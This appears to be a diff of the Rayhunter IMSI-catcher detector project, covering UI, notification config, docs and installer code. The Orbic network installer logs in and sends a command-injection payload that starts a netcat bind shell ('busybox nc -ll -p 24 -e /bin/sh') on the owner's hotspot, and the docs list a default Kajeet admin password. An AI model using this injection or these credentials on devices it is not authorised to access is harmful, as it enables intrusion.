let current_entry: ManifestEntry | undefined = $state(undefined); let current_entry: ManifestEntry | undefined = $state(undefined);
let system_stats: SystemStats | undefined = $state(undefined); let system_stats: SystemStats | undefined = $state(undefined);
@@ -30,7 +31,10 @@
await manager.update(); await manager.update();
let new_manifest = await get_manifest(); let new_manifest = await get_manifest();
await new_manifest.set_analysis_status(manager); await new_manifest.set_analysis_status(manager);
entries = new_manifest.entries; entries = filter_threshold
? new_manifest.entries.filter((e) => e.get_num_warnings())
: new_manifest.entries;
current_entry = new_manifest.current_entry; current_entry = new_manifest.current_entry;
system_stats = await get_system_stats(); system_stats = await get_system_stats();
@@ -226,7 +230,23 @@
<SystemStatsTable stats={system_stats!} /> <SystemStatsTable stats={system_stats!} />
</div> </div>
<div class="flex flex-col gap-2"> <div class="flex flex-col gap-2">
<span class="text-xl">History</span> <div class="flex flex-row gap-2">
<div class="text-xl flex-1">History</div>
<div class="flex flex-row items-center gap-2 px-3">
<label
for="filter_threshold"
class="block text-md font-medium text-gray-700 mb-1"
>
Filter for Warnings
</label>
<input
type="checkbox"
id="filter_threshold"
bind:checked={filter_threshold}
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
</div>
</div>
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} /> <ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
</div> </div>
<DeleteAllButton /> <DeleteAllButton />
Binary file not shown.

Before

Width:  |  Height:  |  Size: 218 KiB

+4 -2
View File
@@ -23,7 +23,9 @@ ui_level = 1
key_input_mode = 0 key_input_mode = 0
# If set, attempts to send a notification to the url when a new warning is triggered # If set, attempts to send a notification to the url when a new warning is triggered
# ntfy_url = ntfy_url = ""
# What notification types to enable. Does nothing if the above ntfy_url is not set.
enabled_notifications = ["Warning", "LowBattery"]
# Analyzer Configuration # Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics # Enable/disable specific IMSI catcher detection heuristics
@@ -35,4 +37,4 @@ lte_sib6_and_7_downgrade = true
null_cipher = true null_cipher = true
nas_null_cipher = true nas_null_cipher = true
incomplete_sib = true incomplete_sib = true
test_analyzer = false test_analyzer = false
+1 -1
View File
@@ -1,3 +1,3 @@
# How we analyze a capture # How we analyze a capture
Teams of highly trained squirrles. Video coming soon! Teams of highly trained squirrels. Video coming soon!
+5 -2
View File
@@ -12,9 +12,12 @@ Through web UI you can set:
- *EFF logo*, which shows EFF logo and *and* colored line. - *EFF logo*, which shows EFF logo and *and* colored line.
- **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be: - **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be:
- *Disable button control*: built-in power button of the device is not used by Rayhunter; - *Disable button control*: built-in power button of the device is not used by Rayhunter;
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button. - *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
- **ntfy URL for Sending Notifications**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness. - **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
- *Warnings*, which will alert when a heuristic is triggered. Alerts will be sent at most once every five minutes.
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well. - With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well.
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on a GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in). If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on a GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
+1 -1
View File
@@ -5,7 +5,7 @@
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but that sim card does not have to be actively registered with a service plan. If you want to use the device as a hotspot in addition to a research device, or get [notifications](./configuration.md), an active plan would of course be necessary. **It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but that sim card does not have to be actively registered with a service plan. If you want to use the device as a hotspot in addition to a research device, or get [notifications](./configuration.md), an active plan would of course be necessary.
### How can I test that my device is working? ### How can I test that my device is working?
You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisey once it does. People have also tested it by building IMSI catchers at home, but we don't reccomend that, since it violates FCC regulations and will probably upset your neighbors. You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisey once it does. People have also tested it by building IMSI catchers at home, but we don't recommend that, since it violates FCC regulations and will probably upset your neighbors.
<a name="red"></a> <a name="red"></a>
+3 -3
View File
@@ -6,7 +6,7 @@ Rayhunter includes several analyzers to detect potential IMSI catcher activity.
### IMSI Requested (v3) ### IMSI Requested (v3)
This analyser tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicous . This analyser tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicious .
Mobile networks primarily request IMSI or IMEI from a mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology). Mobile networks primarily request IMSI or IMEI from a mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology).
@@ -21,7 +21,7 @@ What we consider suspicious is the following chain of events:
* Phone connects to a new tower. * Phone connects to a new tower.
* Tower asks for phones identity (IMEI or IMSI.) * Tower asks for phones identity (IMEI or IMSI.)
* Authentication does *NOT* happen. * Authentication does *NOT* happen.
* Tower requests phoen to disconnect. * Tower requests phone to disconnect.
Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely do to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching. Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely do to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching.
@@ -75,4 +75,4 @@ On its own this might just be a misconfigured base station (though we have only
### Test Analyzer ### Test Analyzer
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not reccomend leaving it on but if this alerts it means your Rayhunter device is working! This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not recommend leaving it on but if this alerts it means your Rayhunter device is working!
+1 -1
View File
@@ -14,7 +14,7 @@ Windows support in Rayhunter's installer is a work-in-progress. Depending on the
<div class=warning><strong> <div class=warning><strong>
[The Windows USB installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). We strongly reccomend using the [Network-based installer](./orbic.md#the-network-installer). [The Windows USB installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). We strongly recommend using the [Network-based installer](./orbic.md#the-network-installer).
</strong></div> </strong></div>
+3 -1
View File
@@ -21,7 +21,7 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
4. Turn on your device by holding the power button on the front. 4. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable. * For the Orbic, connect the device using a USB-C cable.
* Or connect to the network if using the network based installer, this is especially reccomended on Windows. * Or connect to the network if using the network based installer, this is especially recommended on Windows.
* For TP-Link, connect to its network using either WiFi or USB Tethering. * For TP-Link, connect to its network using either WiFi or USB Tethering.
5. Run the installer: 5. Run the installer:
@@ -44,6 +44,8 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
## Troubleshooting ## Troubleshooting
* If you are having trouble installing Rayhunter and you're connecting to your device over USB, try using a different USB cable to connect the device to your computer. If you are using a USB hub, try using a different one or directly connecting the device to a USB port on your computer. A faulty USB connection can cause the Rayhunter installer to fail.
* You can test your device by enabling the test heuristic. This will be very noisy and fire an alert every time you see a new tower. Be sure to turn it off when you are done testing. * You can test your device by enabling the test heuristic. This will be very noisy and fire an alert every time you see a new tower. Be sure to turn it off when you are done testing.
* On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done. * On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
+15 -7
View File
@@ -36,21 +36,29 @@ rustup target add x86_64-pc-windows-gnu
Now you can root your device and install Rayhunter by running: Now you can root your device and install Rayhunter by running:
```sh ```sh
# Profile can be changed to 'firmware-devel' when building for development. # Build the daemon binary for local development (rustcrypto TLS backend, fast compilation)
# Build time will decrease at the expense of binary size. # WARNING: The rustcrypto library, though not known to be insecure, is less well
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware # tested than its counterpart and could potentially have severe issues in
# its cryptographic implementation. We therefore recommend using ring-tls in
# production builds (see below)
cargo build-daemon-firmware-devel
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware # To build it exactly like in CI (more mature ring TLS backend, slower compilation)
# CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
# Build rootshell
cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
# Replace 'orbic' with your device type if different. # Replace 'orbic' with your device type if different.
# A list possible values can be found with 'cargo run --bin installer help'. # A list of possible values can be found with 'cargo run --bin installer help'.
cargo run --bin installer orbic # Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
``` ```
### If you're on Windows or can't run the install scripts ### If you're on Windows or can't run the install scripts
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183> * Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
* Build the web UI using `cd bin/web && npm install && npm run build` * Build the web UI using `cd daemon/web && npm install && npm run build`
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above) * Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
* You also need to copy `config.toml.in` to `/data/rayhunter/config.toml`. Uncomment the `device` line and set the value to your device type if necessary. * You also need to copy `config.toml.in` to `/data/rayhunter/config.toml`. Uncomment the `device` line and set the value to your device type if necessary.
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running! * Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
+2 -3
View File
@@ -30,11 +30,10 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
Connect to the hotspot's network using WiFi or USB tethering and run: Connect to the hotspot's network using WiFi or USB tethering and run:
```sh ```sh
./installer orbic-network ./installer orbic-network --admin-password 'mypassword'
``` ```
The installation will ask you to log into the admin UI using a custom URL. The The password (in place of `mypassword`) is under the battery.
password for that is under the battery.
## Obtaining a shell ## Obtaining a shell
+7 -4
View File
@@ -32,11 +32,14 @@ reliably on Windows than `./installer orbic` does.
The drawback is that the device's admin password is required. The drawback is that the device's admin password is required.
1. Connect to the Orbic's network via WiFi or USB tethering 1. Connect to the Orbic's network via WiFi or USB tethering
2. Run `./installer orbic-network` 2. Run `./installer orbic-network --admin-password 'mypassword'`
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
4. As soon as you're logged in, the installer will continue and reboot the device.
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts. * On Verizon Orbic, the password is the WiFi password.
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
* On Moxee-brand devices, check under the battery for the password.
* You can reset the password by pressing the button under the back case until the unit restarts.
3. The installer will eventually reboot the device, at which point the device is up and running.
## Obtaining a shell ## Obtaining a shell
Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 61 KiB

+11 -1
View File
@@ -4,6 +4,16 @@ Supported in Rayhunter since version 0.3.0.
The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries. The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
## Supported Bands
| Technology | Bands |
| ---------- | ----- |
| 4G LTE | B1/B3/B7/B8/B20 (2100/1800/2600/900/800 MHz) |
| 3G | B1/B8 (2100/900 MHz) |
| 2G | 850/900/1800/1900 MHz |
*Source: [TP-Link Official Product Page](https://www.tp-link.com/baltic/service-provider/lte-3g/m7350/)*
## Hardware versions ## Hardware versions
The TP-Link comes in many different *hardware versions*. Support for installation varies: The TP-Link comes in many different *hardware versions*. Support for installation varies:
@@ -52,7 +62,7 @@ If your device has a one-bit (black-and-white) display, Rayhunter will instead s
## Power-saving mode/sleep ## Power-saving mode/sleep
By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers. By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connectd on the TP-Link's WiFi. In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connected on the TP-Link's WiFi.
## Port triggers ## Port triggers
+1 -1
View File
@@ -28,4 +28,4 @@ You can access this UI in one of two ways:
## Key shortcuts ## Key shortcuts
As of Rayhunter verion 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md). As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "installer" name = "installer"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
+11 -2
View File
@@ -3,6 +3,7 @@ use clap::{Parser, Subcommand};
use env_logger::Env; use env_logger::Env;
mod orbic; mod orbic;
mod orbic_auth;
mod orbic_network; mod orbic_network;
mod pinephone; mod pinephone;
mod tmobile; mod tmobile;
@@ -76,6 +77,14 @@ struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom. /// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")] #[arg(long, default_value = "192.168.1.1")]
admin_ip: String, admin_ip: String,
/// Admin username for authentication.
#[arg(long, default_value = "admin")]
admin_username: String,
/// Admin password for authentication.
#[arg(long)]
admin_password: String,
} }
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> {
Command::Pinephone(_) => pinephone::install().await Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?, .context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?, Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?, Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command { Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => { UtilSubCommand::Serial(serial_cmd) => {
@@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?, UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?, UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
} }
} }
+80
View File
@@ -0,0 +1,80 @@
use anyhow::{Context, Result};
use base64_light::base64_encode;
use serde::{Deserialize, Serialize};
/// Helper function to swap characters in a string
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
let mut chars: Vec<char> = s.chars().collect();
if pos1 < chars.len() && pos2 < chars.len() {
chars.swap(pos1, pos2);
}
chars.into_iter().collect()
}
/// Apply character swapping based on secret (unchanged from original algorithm)
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
for i in 0..4 {
let byte = (secret_num >> (i * 8)) & 0xff;
let pos1 = (byte as usize) % text.len();
let pos2 = i % text.len();
text = swap_chars(&text, pos1, pos2);
}
text
}
/// Encode password using Orbic's custom algorithm
///
/// This function is a lot simpler than the original JavaScript because it always uses the same
/// character set regardless of "password type", and any randomly generated values are hardcoded.
pub fn encode_password(
password: &str,
secret: &str,
timestamp: &str,
timestamp_start: u64,
) -> Result<String> {
let current_time = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
// MD5 hash the password and use fixed prefix "a7" instead of random chars
let password_md5 = format!("{:x}", md5::compute(password));
let mut spliced_password = format!("a7{}", password_md5);
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
spliced_password = apply_secret_swapping(spliced_password, secret_num);
let timestamp_hex =
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
let time_delta = format!(
"{:x}",
timestamp_hex + (current_time - timestamp_start) as u32
);
// Use fixed hex "6137" instead of hex encoding of random values
let message = format!("6137x{}:{}", time_delta, spliced_password);
let result = base64_encode(&message);
let result = apply_secret_swapping(result, secret_num);
Ok(result)
}
#[derive(Debug, Serialize)]
pub struct LoginRequest {
pub username: String,
pub password: String,
}
#[derive(Debug, Deserialize)]
pub struct LoginInfo {
pub retcode: u32,
#[serde(rename = "priKey")]
pub pri_key: String,
}
#[derive(Debug, Deserialize)]
pub struct LoginResponse {
pub retcode: u32,
}
+120 -117
View File
@@ -4,21 +4,11 @@ use std::str::FromStr;
use std::time::Duration; use std::time::Duration;
use anyhow::{Context, Result, bail}; use anyhow::{Context, Result, bail};
use axum::{
Router,
body::Body,
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use reqwest::Client; use reqwest::Client;
use serde::Deserialize; use serde::Deserialize;
use tokio::sync::mpsc;
use tokio::time::sleep; use tokio::time::sleep;
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::util::{echo, telnet_send_command, telnet_send_file}; use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
@@ -27,16 +17,128 @@ struct ExploitResponse {
retcode: u32, retcode: u32,
} }
pub async fn start_telnet(admin_ip: &str) -> Result<()> { async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
println!("Waiting for login and trying exploit... "); let client: Client = Client::new();
login_and_exploit(admin_ip).await?;
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
.send()
.await
.context("Failed to get login info")?;
let session_cookie = login_info_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.context("No session cookie received")?
.split(';')
.next()
.context("Invalid cookie format")?
.to_string();
let login_info: LoginInfo = login_info_response
.json()
.await
.context("Failed to parse login info")?;
if login_info.retcode != 0 {
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
}
// Parse priKey (format: "secret x timestamp")
let mut parts = login_info.pri_key.split('x');
let secret = parts.next().context("Missing secret in priKey")?;
let timestamp = parts.next().context("Missing timestamp in priKey")?;
if parts.next().is_some() {
bail!("Invalid priKey format: {}", login_info.pri_key);
}
// Step 2: Encode credentials
let username_md5 = format!("{:x}", md5::compute(username));
let timestamp_start = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
.context("Failed to encode password")?;
let login_request = LoginRequest {
username: username_md5,
password: encoded_password,
};
// Step 3: Perform login
let login_response = client
.post(format!("http://{}/goform/login", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", &session_cookie)
.json(&login_request)
.send()
.await
.context("Failed to send login request")?;
// Extract authenticated session cookie from login response
let authenticated_cookie = login_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
.unwrap_or(session_cookie);
let login_result: LoginResponse = login_response
.json()
.await
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
bail!("Login failed with retcode: {}", login_result.retcode);
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
// But some kajeet devices have password protected telnetd so we use port 24 just in case
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(())
}
pub async fn start_telnet(
admin_ip: &str,
admin_username: &str,
admin_password: &str,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done"); println!("done");
Ok(()) Ok(())
} }
pub async fn install(admin_ip: String) -> Result<()> { pub async fn install(
start_telnet(&admin_ip).await?; admin_ip: String,
admin_username: String,
admin_password: String,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
echo!("Waiting for telnet to become available... "); echo!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?; wait_for_telnet(&admin_ip).await?;
@@ -45,107 +147,8 @@ pub async fn install(admin_ip: String) -> Result<()> {
setup_rayhunter(&admin_ip).await setup_rayhunter(&admin_ip).await
} }
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
#[derive(Clone)]
struct ProxyState {
client: HttpProxyClient,
admin_ip: String,
session_sender: mpsc::Sender<String>,
}
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
// Check for existing session cookie in request
if let Some(cookie_header) = req.headers().get("cookie")
&& let Ok(cookie_str) = cookie_header.to_str()
&& cookie_str.contains("-goahead-session-")
{
let _ = state.session_sender.send(cookie_str.to_owned()).await;
}
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or("/");
let uri = format!("http://{}{}", state.admin_ip, path_query);
*req.uri_mut() = Uri::try_from(uri).unwrap();
let response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?;
Ok(response.into_response())
}
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
.build(HttpConnector::new());
let (tx, mut rx) = mpsc::channel(100);
let app = Router::new()
.route("/", any(proxy_handler))
.route("/{*path}", any(proxy_handler))
.with_state(ProxyState {
client,
admin_ip: admin_ip.to_owned(),
session_sender: tx,
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.context("Failed to bind to port 4000")?;
println!(
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
);
println!("Username: admin");
println!(
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
);
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let exploit_client = Client::new();
let mut last_error = None;
while let Some(cookie_header) = rx.recv().await {
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
Ok(_) => {
handle.abort();
return Ok(());
}
Err(e) => last_error = Some(e),
}
}
handle.abort();
bail!("Failed to receive session cookie, last error: {last_error:?}")
}
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", cookie_header)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await?
.json()
.await?;
if response.retcode != 0 {
bail!("unexpected response: {:?}", response);
}
Ok(())
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> { async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let timeout = Duration::from_secs(60); let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now(); let start_time = std::time::Instant::now();
@@ -166,7 +169,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
} }
async fn setup_rayhunter(admin_ip: &str) -> Result<()> { async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON")); let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications // Remount filesystem as read-write to allow modifications
